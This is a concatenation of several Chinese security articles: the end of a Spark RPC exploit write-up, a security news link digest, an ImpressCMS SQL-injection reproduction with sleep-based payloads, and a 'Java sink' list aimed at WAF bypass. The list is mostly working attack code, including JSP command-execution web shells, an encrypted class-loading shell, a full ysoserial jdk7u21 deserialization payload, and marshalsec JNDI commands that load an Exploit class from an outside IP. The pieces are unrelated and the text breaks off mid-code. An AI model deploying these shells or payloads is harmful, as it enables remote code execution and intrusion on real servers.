spark.executor.extraJavaOptions=\"-Xmx:1m -XX:OnOutOfMemoryError=touch /tmp/testspark\"
SPARK-submit 客户端限制只能通过 `spark.executor.memory` 设定 内存值，报错
Exception in thread "main" java.lang.IllegalArgumentException: Executor memory 1048576 must be at least 471859200. Please increase executor memory using the --executor-memory option or spark.executor.memory in Spark configuration.
最后通过使用 `SerializationDumper` 转储和重建为 `javaOpts` 的
`scala.collection.mutable.ArraySeq`, 并添加 `jvm` 参数 `-Xmx:1m`，注意
`SerializationDumper` 还需要做数组自增，和部分handler 的调整
## 0x05 参考连接
1. [DEF CON Safe Mode – ayoul3 – Only Takes a Spark Popping a Shell on 1000 Nodes](https://www.youtube.com/watch?v=EAzdGo-i8vE)
2. [Apache Spark RPC协议中的反序列化漏洞分析](https://www.freebuf.com/vuls/194532.html)
3. [Spark Rpc 消息处理](https://zhmin.github.io/2019/07/29/spark-rpc-protocol/)
4. [Spark源码阅读(四)：RPC之Transport传输层](https://masterwangzx.com/2020/09/02/RpcTransport/#bootstrap)
5. [Spark 底层网络模块](http://sharkdtu.com/posts/spark-network.html)
6. [spark 源码分析之十二—Spark RPC剖析之Spark RPC总结](https://www.cnblogs.com/johnny666888/p/11160486.html)
7. [spark2.1.0之源码分析——RPC服务端引导程序TransportServerBootstrap](https://qdmana.com/2020/11/20201112220618627e.html)
8. [spark 官方文档](https://spark.apache.org/security.html) | 社区文章 |
# 【知识】7月7日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： Pwn2Own：Safari 沙箱逃逸(part 1、part 2和PoC) **** **、**
PHP通用gadget链：在未知环境中利用反序列化对象、BadGPO –
利用组策略对象保持持久性和横向运动的、BIND安全绕过漏洞CVE-2017-3143分析 **、** 基于碰撞的哈希算法、Apache
CVE-2017-7659漏洞重现及利用分析 **、 利用"Hearthstone"逃逸VMware 、利用一个堆溢出漏洞实现VMware虚拟机逃逸****
**
**
**资讯类：**
维基解密披露CIA植入窃取SSH凭证
<http://thehackernews.com/2017/07/ssh-credential-hacking.html>
**技术类：**
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
Pwn2Own：Safari 沙箱逃逸(part 1、part 2和PoC)
<https://phoenhex.re/2017-06-09/pwn2own-diskarbitrationd-privesc>
<https://phoenhex.re/2017-07-06/pwn2own-sandbox-escape>
<https://github.com/phoenhex/files/tree/master/exploits/safari-sbx>
LovenseIOT情趣玩具的漏洞分析
<http://elladodelnovato.blogspot.com.es/2017/07/understanding-and-breaking-internet-of.html>
BIND安全绕过漏洞CVE-2017-3143分析
<http://www.synacktiv.ninja/ressources/CVE-2017-3143_BIND9_TSIG_dynamic_updates_vulnerability_Synacktiv.pdf>
BadGPO – 利用组策略对象保持持久性和横向运动的
<http://www.sicherheitsforschung-magdeburg.de/uploads/journal/MJS_052_Willi_GPO.pdf>
Apache CVE-2017-7659漏洞重现及利用分析
<http://www.freebuf.com/vuls/139042.html>
FakeNet-NG：下一代动态网络分析工具
<https://www.fireeye.com/blog/threat-research/2017/07/linux-support-for-fakenet-ng.html>
PHP通用gadget链：在未知环境中利用反序列化对象
<https://www.ambionics.io/blog/php-generic-gadget-chains>
基于碰撞的哈希算法披露
<https://www.netsparker.com/blog/web-security/collision-based-hashing-algorithm-disclosure/>
pineapple-101：模块审计与测试（第1部分）
<https://medium.com/@edelpeon_33472/pineapple-101-modules-review-and-testing-part-1-c2afebba6ba0>
Red Team Insights on HTTPS Domain Fronting Google Hosts Using Cobalt Strike
<https://www.cyberark.com/threat-research-blog/red-team-insights-https-domain-fronting-google-hosts-using-cobalt-strike/>
利用一个堆溢出漏洞实现VMware虚拟机逃逸
<https://zhuanlan.zhihu.com/p/27733895>
<http://acez.re/the-weak-bug-exploiting-a-heap-overflow-in-vmware/>
PDF Tricks
<https://github.com/corkami/docs/blob/master/PDF/PDF.md>
很不错的一个UAF漏洞讲解
<https://www.purehacking.com/blog/lloyd-simon/an-introduction-to-use-after-free-vulnerabilities>
了解macOS上的恶意木马–OSX/Dok
<http://bobao.360.cn/learning/detail/4071.html>
从形式化方法、程序分析到数据分析–二进制漏洞检测实例
<http://www.edu.cn/xxh/spkt/aq/201707/t20170706_1538333.shtml>
Vulnerability-Exploit-Fuzz-Mitigation 漏洞利用与挖掘思维导图
<https://github.com/SilverMoonSecurity/Security-misc>
学习和使用TheHive＆Cortex
<https://blog.thehive-project.org/2017/07/06/train-till-you-drain-thehive-cortex-vm/>
PHP命令注入和参数注入
<http://www.afolgado.com/2017/06/10/phpcommandiargumenti/>
利用MSXSL ByPass AppLocker
<https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/>
ReFS弹性文件系统（Microsoft开发的新的文件系统）的深入分析
<http://mo.morsi.org/blog/2014/09/13/ReFS_All_Your_Resilience_Are_Belong_To_Us/>
<http://mo.morsi.org/blog/2014/11/02/ReFS_Part_II_May_the_Resilience_Be_With_You/>
<http://mo.morsi.org/blog/2017/07/05/refs-part-iii-back-to-the-resilience/>
careers.twitter.com的一个绕过CSP的XSS
<https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5>
商业版Skype的xss
<https://blogs.securiteam.com/index.php/archives/3269>
CSW2017中360Marvel Team的paper：利用"Hearthstone"逃逸VMware
<https://cansecwest.com/slides/2017/CSW2017_QinghaoTang_XinleiYing_vmware_escape.pdf> | 社区文章 |
这两天突然看到 `https://blog.ripstech.com/2020/sql-injection-impresscms/`，想着复现一下，记录一下学习过程。
# 漏洞分析
## 漏洞复现
首先我们先下载安装一下这个 `cms`，然后直接访问：
`http://127.0.0.1:81/admin.php/modules/system' and sleep(2) and '1`
这个 `url`，会发现延迟了三秒，没错这个漏洞就是这么简单。更深的用法我们就不讨论了。
# 漏洞分析
打开 `cms` 的文件: `\htdocs\libraries\icms\module\Handler.php`，找到 `service` 函数：
static public function service($inAdmin = FALSE) {
if ($inAdmin || ... ) {
$url_arr = explode('/', strstr($_SERVER['PHP_SELF'], '/modules/'));
if (isset($url_arr[2])) {
//关键点
$module = icms::handler("icms_module")->getByDirname($url_arr[2], TRUE);
我们首先访问 `admin.php` 会执行到这个函数，然后 `inAdmin` 会设置成 `true`，到第四行获取了 `PHP_SELF` 并以
`/modules/` 分割，然后讲 `/modules/` 后的内容带入 `getByDirname`，跟进该函数：
public function getByDirname($dirname, $loadConfig = FALSE) {
if (!empty($this->_cachedModule[$dirname]) &&
$this->_cachedModule[$dirname]->getVar('dirname') == $dirname
) {
...
} else {
$sql = "SELECT * FROM " . $this->db->prefix('modules') . " WHERE dirname = '" . trim($dirname) . "'";
//执行sql
可以看到这里直接带入了 `$sql` 没有任何过滤。
# 扩展思考
之前我也审计到过一个此类的漏洞，这里顺便分享一下：
然后下面的代码：
//此处的 $uri 就是 PHP_SELF
$tmp = strtolower(substr($uri,-4));
if(in_array($tmp,array('.jpg','.gif','.png','jpeg')) && substr($uri,0,11) == 'res/_cache/'){
$tmp = substr($uri,11);
$tmp = explode("/",$tmp);
get_one($tmp[0]);
当文件名是 `.jpg` 结尾并且 uri 前十一位是 `res/_cache/` 时进入，最后用 `/` 分割 `uri` 并带入 `sql` 语句。
很容易就可以 `payload`：
`index.php/res/_cache/a'-sleep(3)-'/test/test.jpg`
此外还有一个点，但是暂时没有见到过案例，比如：
<?php
print_r($_SERVER['REQUEST_URI']);
?>
这样的代码，然后我们用 `bp` 讲 `/test/test.php` 修改成：`/abc'd/../test/test.php`
当然，不管是 `PHP_SELF` 还是 `REQUEST_URI` 我们直接 `echo` 出来都会造成 反射的 `XSS`
实际上我们访问的依然是 `test.php`，但是 `REQUEST_URI` 输出的却是 `/abc'd/../test/test.php`。
当然，`$_SERVER` 里还有很多好玩的，期待师傅们挖掘出来教我QAQ | 社区文章 |
# Java sink整理
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近整理了一下java sink，同样可以用于bypass waf。
## sink
### 命令执行
常规命令执行
**Runtime**
public class Main {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
**ProcessBuilder**
public class Main {
public static void main(String[] args) throws IOException {
//new ProcessBuilder("calc").start();
List<String> commands = new ArrayList<String>();
commands.add("C:\Windows\System32\cmd.exe");
commands.add("/c ");
commands.add("whoami");
Process process = new ProcessBuilder().command(commands).start();
}
}
### 代码执行
**XMLDecoder**
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*"%>
<%!
String payload = "<?xml version="1.0" encoding="UTF-8"?>n" +
"<java version="1.8.0_151" class="java.beans.XMLDecoder">n" +
" <void class="java.lang.ProcessBuilder">n" +
" <array class="java.lang.String" length="1">n" +
" <void index="0">n" +
" <string>calc</string>n" +
" </void>n" +
" </array>n" +
" <void method="start"/>n" +
" </void>n" +
"</java>";
java.beans.XMLDecoder xd = new java.beans.XMLDecoder(new java.io.BufferedInputStream(new java.io.ByteArrayInputStream(payload.getBytes())));
Object o = xd.readObject();
%>
**反序列化**
jdk7u21反序列化，window上弹出计算器。
<%@page import=”java.io.,java.util.,java.net.,java.sql.,java.text.,java.beans.,java.lang.*”%>
<%java
byte[] payload = {-84,-19,0,5,115,114,0,23,106,97,118,97,46,117,116,105,108,46,76,105,110,107,101,100,72,97,115,104,83,101,116,-40,108,-41,90,-107,-35,42,30,2,0,0,120,114,0,17,106,97,118,97,46,117,116,105,108,46,72,97,115,104,83,101,116,-70,68,-123,-107,-106,-72,-73,52,3,0,0,120,112,119,12,0,0,0,16,63,64,0,0,0,0,0,2,115,114,0,58,99,111,109,46,115,117,110,46,111,114,103,46,97,112,97,99,104,101,46,120,97,108,97,110,46,105,110,116,101,114,110,97,108,46,120,115,108,116,99,46,116,114,97,120,46,84,101,109,112,108,97,116,101,115,73,109,112,108,9,87,79,-63,110,-84,-85,51,3,0,8,73,0,13,95,105,110,100,101,110,116,78,117,109,98,101,114,73,0,14,95,116,114,97,110,115,108,101,116,73,110,100,101,120,90,0,21,95,117,115,101,83,101,114,118,105,99,101,115,77,101,99,104,97,110,105,115,109,76,0,11,95,97,117,120,67,108,97,115,115,101,115,116,0,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,72,97,115,104,116,97,98,108,101,59,91,0,10,95,98,121,116,101,99,111,100,101,115,116,0,3,91,91,66,91,0,6,95,99,108,97,115,115,116,0,18,91,76,106,97,118,97,47,108,97,110,103,47,67,108,97,115,115,59,76,0,5,95,110,97,109,101,116,0,18,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,76,0,17,95,111,117,116,112,117,116,80,114,111,112,101,114,116,105,101,115,116,0,22,76,106,97,118,97,47,117,116,105,108,47,80,114,111,112,101,114,116,105,101,115,59,120,112,0,0,0,0,-1,-1,-1,-1,0,112,117,114,0,3,91,91,66,75,-3,25,21,103,103,-37,55,2,0,0,120,112,0,0,0,2,117,114,0,2,91,66,-84,-13,23,-8,6,8,84,-32,2,0,0,120,112,0,0,7,-18,-54,-2,-70,-66,0,0,0,50,0,85,10,0,3,0,34,7,0,83,7,0,37,7,0,38,1,0,16,115,101,114,105,97,108,86,101,114,115,105,111,110,85,73,68,1,0,1,74,1,0,13,67,111,110,115,116,97,110,116,86,97,108,117,101,5,-83,32,-109,-13,-111,-35,-17,62,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,19,83,116,117,98,84,114,97,110,115,108,101,116,80,97,121,108,111,97,100,1,0,12,73,110,110,101,114,67,108,97,115,115,101,115,1,0,53,76,121,115,111,115,101,114,105,97,108,47,112,97,121,108,111,97,100,115,47,117,116,105,108,47,71,97,100,103,101,116,115,36,83,116,117,98,84,114,97,110,115,108,101,116,80,97,121,108,111,97,100,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,39,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,12,71,97,100,103,101,116,115,46,106,97,118,97,12,0,10,0,11,7,0,40,1,0,51,121,115,111,115,101,114,105,97,108,47,112,97,121,108,111,97,100,115,47,117,116,105,108,47,71,97,100,103,101,116,115,36,83,116,117,98,84,114,97,110,115,108,101,116,80,97,121,108,111,97,100,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,20,106,97,118,97,47,105,111,47,83,101,114,105,97,108,105,122,97,98,108,101,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,31,121,115,111,115,101,114,105,97,108,47,112,97,121,108,111,97,100,115,47,117,116,105,108,47,71,97,100,103,101,116,115,1,0,8,60,99,108,105,110,105,116,62,1,0,4,99,97,108,99,8,0,42,1,0,7,111,115,46,110,97,109,101,8,0,44,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,7,0,46,1,0,11,103,101,116,80,114,111,112,101,114,116,121,1,0,38,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,12,0,48,0,49,10,0,47,0,50,1,0,16,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,7,0,52,1,0,11,116,111,76,111,119,101,114,67,97,115,101,1,0,20,40,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,12,0,54,0,55,10,0,53,0,56,1,0,3,119,105,110,8,0,58,1,0,10,115,116,97,114,116,115,87,105,116,104,1,0,21,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,90,12,0,60,0,61,10,0,53,0,62,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,7,0,64,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,12,0,66,0,67,10,0,65,0,68,1,0,7,99,109,100,46,101,120,101,8,0,70,1,0,2,47,99,8,0,72,1,0,4,101,120,101,99,1,0,40,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,12,0,74,0,75,10,0,65,0,76,1,0,7,47,98,105,110,47,115,104,8,0,78,1,0,2,45,99,8,0,80,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,1,0,30,121,115,111,115,101,114,105,97,108,47,80,119,110,101,114,51,48,54,51,50,54,48,48,53,55,51,52,51,48,48,1,0,32,76,121,115,111,115,101,114,105,97,108,47,80,119,110,101,114,51,48,54,51,50,54,48,48,53,55,51,52,51,48,48,59,0,33,0,2,0,3,0,1,0,4,0,1,0,26,0,5,0,6,0,1,0,7,0,0,0,2,0,8,0,4,0,1,0,10,0,11,0,1,0,12,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,46,0,14,0,0,0,12,0,1,0,0,0,5,0,15,0,84,0,0,0,1,0,19,0,20,0,2,0,12,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,51,0,14,0,0,0,32,0,3,0,0,0,1,0,15,0,84,0,0,0,0,0,1,0,21,0,22,0,1,0,0,0,1,0,23,0,24,0,2,0,25,0,0,0,4,0,1,0,26,0,1,0,19,0,27,0,2,0,12,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,55,0,14,0,0,0,42,0,4,0,0,0,1,0,15,0,84,0,0,0,0,0,1,0,21,0,22,0,1,0,0,0,1,0,28,0,29,0,2,0,0,0,1,0,30,0,31,0,3,0,25,0,0,0,4,0,1,0,26,0,8,0,41,0,11,0,1,0,12,0,0,0,108,0,6,0,3,0,0,0,78,-89,0,3,1,76,18,43,77,18,45,-72,0,51,-74,0,57,18,59,-74,0,63,-103,0,31,-72,0,69,6,-67,0,53,89,3,18,71,83,89,4,18,73,83,89,5,44,83,-74,0,77,87,-89,0,28,-72,0,69,6,-67,0,53,89,3,18,79,83,89,4,18,81,83,89,5,44,83,-74,0,77,87,-79,0,0,0,1,0,82,0,0,0,12,0,3,3,-2,0,48,0,5,7,0,53,24,0,2,0,32,0,0,0,2,0,33,0,17,0,0,0,10,0,1,0,2,0,35,0,16,0,9,117,113,0,126,0,12,0,0,1,-44,-54,-2,-70,-66,0,0,0,50,0,27,10,0,3,0,21,7,0,23,7,0,24,7,0,25,1,0,16,115,101,114,105,97,108,86,101,114,115,105,111,110,85,73,68,1,0,1,74,1,0,13,67,111,110,115,116,97,110,116,86,97,108,117,101,5,113,-26,105,-18,60,109,71,24,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,3,70,111,111,1,0,12,73,110,110,101,114,67,108,97,115,115,101,115,1,0,37,76,121,115,111,115,101,114,105,97,108,47,112,97,121,108,111,97,100,115,47,117,116,105,108,47,71,97,100,103,101,116,115,36,70,111,111,59,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,12,71,97,100,103,101,116,115,46,106,97,118,97,12,0,10,0,11,7,0,26,1,0,35,121,115,111,115,101,114,105,97,108,47,112,97,121,108,111,97,100,115,47,117,116,105,108,47,71,97,100,103,101,116,115,36,70,111,111,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,20,106,97,118,97,47,105,111,47,83,101,114,105,97,108,105,122,97,98,108,101,1,0,31,121,115,111,115,101,114,105,97,108,47,112,97,121,108,111,97,100,115,47,117,116,105,108,47,71,97,100,103,101,116,115,0,33,0,2,0,3,0,1,0,4,0,1,0,26,0,5,0,6,0,1,0,7,0,0,0,2,0,8,0,1,0,1,0,10,0,11,0,1,0,12,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,59,0,14,0,0,0,12,0,1,0,0,0,5,0,15,0,18,0,0,0,2,0,19,0,0,0,2,0,20,0,17,0,0,0,10,0,1,0,2,0,22,0,16,0,9,112,116,0,4,80,119,110,114,112,119,1,0,120,115,125,0,0,0,1,0,29,106,97,118,97,120,46,120,109,108,46,116,114,97,110,115,102,111,114,109,46,84,101,109,112,108,97,116,101,115,120,114,0,23,106,97,118,97,46,108,97,110,103,46,114,101,102,108,101,99,116,46,80,114,111,120,121,-31,39,-38,32,-52,16,67,-53,2,0,1,76,0,1,104,116,0,37,76,106,97,118,97,47,108,97,110,103,47,114,101,102,108,101,99,116,47,73,110,118,111,99,97,116,105,111,110,72,97,110,100,108,101,114,59,120,112,115,114,0,50,115,117,110,46,114,101,102,108,101,99,116,46,97,110,110,111,116,97,116,105,111,110,46,65,110,110,111,116,97,116,105,111,110,73,110,118,111,99,97,116,105,111,110,72,97,110,100,108,101,114,85,-54,-11,15,21,-53,126,-91,2,0,2,76,0,12,109,101,109,98,101,114,86,97,108,117,101,115,116,0,15,76,106,97,118,97,47,117,116,105,108,47,77,97,112,59,76,0,4,116,121,112,101,116,0,17,76,106,97,118,97,47,108,97,110,103,47,67,108,97,115,115,59,120,112,115,114,0,17,106,97,118,97,46,117,116,105,108,46,72,97,115,104,77,97,112,5,7,-38,-63,-61,22,96,-47,3,0,2,70,0,10,108,111,97,100,70,97,99,116,111,114,73,0,9,116,104,114,101,115,104,111,108,100,120,112,63,64,0,0,0,0,0,12,119,8,0,0,0,16,0,0,0,1,116,0,8,102,53,97,53,97,54,48,56,113,0,126,0,9,120,118,114,0,29,106,97,118,97,120,46,120,109,108,46,116,114,97,110,115,102,111,114,109,46,84,101,109,112,108,97,116,101,115,0,0,0,0,0,0,0,0,0,0,0,120,112,120};
ObjectInputStream in = new ObjectInputStream(new BufferedInputStream(new ByteArrayInputStream(payload)));
in.readObject();
%>
**ScriptEngineManager.eval**
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*,javax.script.*"%>
<%
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
BufferedReader object = (BufferedReader)scriptEngineManager.getEngineByName("JavaScript").eval("new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cmd.exe /c "+request.getParameter("cmd")+"").getInputStream()))");
String line = "";
String result = "";
while((line=object.readLine())!=null)
{
result = result + line;
}
out.println(result);
%>
**Compilable.compile**
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*,javax.script.*"%>
<%
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("JavaScript");
Compilable compEngine = (Compilable) engine;
CompiledScript script = compEngine.compile("new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cmd.exe /c dir").getInputStream()))");
BufferedReader object = (BufferedReader)script.eval();
String line = "";
String result = "";
while((line=object.readLine())!=null)
{
result = result + line;
}
out.println(result);
%>
**JShell**
<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src"))%>
**defineClass+newInstance**
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b)
{return super.defineClass(b,0,b.length);}}%>
<%if(request.getParameter("pass")!=null){
String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));
String uploadString= request.getReader().readLine();
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(uploadString))).newInstance().equals(pageContext);
%>
**defineclass+forName**
base64的class是java1.8，所以需要1.8才能运行
String R = "yv66vgAAADQAJQoACQAWCgAXABgIABkKABcAGgcAGwoABQAcBwAdCgAHABYHAB4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQANU3RhY2tNYXBUYWJsZQcAHQcAGwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAKAAsHAB8MACAAIQEABGNhbGMMACIAIwEAE2phdmEvbGFuZy9FeGNlcHRpb24MACQACwEAB0V4cGxvaXQBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACQAAAAAAAwABAAoACwABAAwAAABgAAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQACAA0AAAAaAAYAAAALAAQADQANABAAEAAOABEADwAVABEADgAAABAAAv8AEAABBwAPAAEHABAEAAkAEQASAAEADAAAACUAAgACAAAACbsAB1m3AAhMsQAAAAEADQAAAAoAAgAAABMACAAUAAgAEwALAAEADAAAAE8AAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAgANAAAAFgAFAAAABQAJAAgADAAGAA0ABwARAAkADgAAAAcAAkwHABAEAAEAFAAAAAIAFQ==";
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
byte[] bt = decoder.decodeBuffer(R);
DefiningClassLoader cls = new DefiningClassLoader();
cls.defineClass("Exploit",bt);
Class.forName("Exploit",true,cls);
**rmi-registry.bind**
yso利用
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 Jdk7u21 "calc"
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*,java.rmi.*,java.rmi.server.*,java.rmi.registry.*"%>
<%
class ServerImp extends UnicastRemoteObject {
protected ServerImp() throws RemoteException {
}
}
ServerImp server = new ServerImp();
int port = 1099;
String registry_name = "rmi";
Registry registry = LocateRegistry.createRegistry(port);
registry.bind(registry_name, server);
System.out.println("Port:1099,Name:rmi,Service Start!n");
%>
**jrmp**
java8 -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
<http://188.131.187.191/#Exploit>
Exploit
使用javac进行编译
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("calc");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*,java.rmi.*,java.rmi.server.*,java.rmi.registry.*"%>
<%
String host = "127.0.0.1";
int port = 8855;
ObjID id = new ObjID((new Random()).nextInt());
sun.rmi.transport.tcp.TCPEndpoint te = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.server.UnicastRef ref = new sun.rmi.server.UnicastRef(new sun.rmi.transport.LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outStream = new ObjectOutputStream(new BufferedOutputStream(byteArrayOutputStream));
outStream.writeObject(obj);
outStream.flush();
outStream.close();
ObjectInputStream in = new ObjectInputStream(new BufferedInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())));
in.readObject();
%>
**jndi**
yso利用
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://188.131.187.191/#Exploit
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*,java.rmi.*,java.rmi.server.*,java.rmi.registry.*,javax.naming.*"%>
<%
System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
Context ctx = new InitialContext();
Object obj = ctx.lookup("Exploit");
System.out.println(obj.toString());
%>
**反射**
String op = "";
Class rt = Class.forName("java.lang.Runtime");
Method gr = rt.getMethod("getRuntime");
Method ex = rt.getMethod("exec", String.class);
Process e = (Process) ex.invoke(gr.invoke(null, new Object[]{}), "cmd /c calc");
System.out.print(op);
**远程class加载**
package com.company;
import java.io.IOException;
public class Evil {
